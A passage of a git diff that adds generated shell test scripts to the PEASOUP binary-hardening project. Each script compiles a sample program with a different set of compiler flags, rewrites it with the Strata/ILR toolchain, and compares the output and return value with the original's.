+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..33b822eec7c8ff89a2d3e4e955b759062d211d1e
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3 -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3 -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a6add6f62f8756b72cc5fb2e916abeba0faf5dd9
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3 -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3 -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..3fb5fcf16084b1662bb744fd844f3945f93e55bd
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3 -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3 -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..efb26e8270f319296f7678dd5e3f42dc2b1c98f6
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3 -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3 -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..68843fccf34adb29cc25b9634e888272eed3f8a3
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3 -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3 -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..8923bca508ecb030cc8e326fc90294a1ce432cdf
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3 -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3 -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
